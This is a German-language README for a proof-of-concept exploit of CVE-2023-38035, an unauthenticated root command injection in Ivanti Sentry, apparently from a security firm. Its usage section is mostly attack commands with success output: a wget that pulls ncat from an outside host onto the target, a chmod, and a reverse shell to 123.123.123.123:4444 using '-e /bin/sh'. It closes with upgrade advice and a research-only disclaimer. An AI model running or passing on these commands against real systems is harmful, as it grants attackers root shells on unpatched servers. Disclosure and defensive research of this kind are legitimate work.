
Proof-of-Concept-Exploit für CVE-2023-38035, eine nicht authentifizierte Befehlsinjektion in Ivanti Sentry, die die Ausführung beliebiger Root-Befehle und eine Reverse Shell über ncat ermöglicht.
POC für CVE-2023-38035, der Ivanti Sentry betrifft
Eine technische Root-Cause-Analyse der Schwachstelle finden Sie in unserem Blog: https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive
Dieser POC nutzt eine nicht authentifizierte Command Injection aus, um beliebige Befehle als root-Benutzer auszuführen.
Der Ausführungskontext erlaubt kein Piping von Befehlen, und das System enthält keine leicht missbrauchbaren Binärdateien. Daher können Befehle verkettet werden, um ein statisches ncat von einer Quelle wie https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat herunterzuladen.
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'wget http://123.123.123.123:8000/ncat -O /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'chmod +x /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'sudo /tmp/ncat 123.123.123.123 4444 -e /bin/sh'
[+] Successfully executed command on target!

Aktualisieren Sie auf die neueste Version gemäß den Anweisungen im Ivanti Advisory.
Diese Software wurde ausschließlich zu Zwecken der akademischen Forschung und zur Entwicklung effektiver Abwehrtechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, es sei denn, dies wurde ausdrücklich genehmigt. Die Projektbetreuer übernehmen keine Verantwortung oder Haftung für Missbrauch der Software. Verwenden Sie sie verantwortungsvoll.